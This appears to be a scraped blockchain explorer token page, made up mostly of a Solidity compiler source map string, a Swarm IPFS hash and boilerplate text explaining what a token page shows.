::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:180::-;5716:77;5713:1;5706:88;5813:4;5810:1;5803:15;5837:4;5834:1;5827:15;5854:320;5898:6;5935:1;5929:4;5925:12;5915:22;;5982:1;5976:4;5972:12;6003:18;5993:81;;6059:4;6051:6;6047:17;6037:27;;5993:81;6121:2;6113:6;6110:14;6090:18;6087:38;6084:84;;6140:18;;:::i;:::-;6084:84;5905:269;5854:320;;;:::o;6180:180::-;6228:77;6225:1;6218:88;6325:4;6322:1;6315:15;6349:4;6346:1;6339:15;6366:194;6406:4;6426:20;6444:1;6426:20;:::i;:::-;6421:25;;6460:20;6478:1;6460:20;:::i;:::-;6455:25;;6504:1;6501;6497:9;6489:17;;6528:1;6522:4;6519:11;6516:37;;;6533:18;;:::i;:::-;6516:37;6366:194;;;;:::o;6566:191::-;6606:3;6625:20;6643:1;6625:20;:::i;:::-;6620:25;;6659:20;6677:1;6659:20;:::i;:::-;6654:25;;6702:1;6699;6695:9;6688:16;;6723:3;6720:1;6717:10;6714:36;;;6730:18;;:::i;:::-;6714:36;6566:191;;;;:::o;6763:410::-;6803:7;6826:20;6844:1;6826:20;:::i;:::-;6821:25;;6860:20;6878:1;6860:20;:::i;:::-;6855:25;;6915:1;6912;6908:9;6937:30;6955:11;6937:30;:::i;:::-;6926:41;;7116:1;7107:7;7103:15;7100:1;7097:22;7077:1;7070:9;7050:83;7027:139;;7146:18;;:::i;:::-;7027:139;6811:362;6763:410;;;;:::o;7179:180::-;7227:77;7224:1;7217:88;7324:4;7321:1;7314:15;7348:4;7345:1;7338:15;7365:185;7405:1;7422:20;7440:1;7422:20;:::i;:::-;7417:25;;7456:20;7474:1;7456:20;:::i;:::-;7451:25;;7495:1;7485:35;;7500:18;;:::i;:::-;7485:35;7542:1;7539;7535:9;7530:14;;7365:185;;;;:::o

Swarm Source

ipfs://82cf59d9ec13736781b6aee388b399a984107910797c0c1d966117a240603660
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.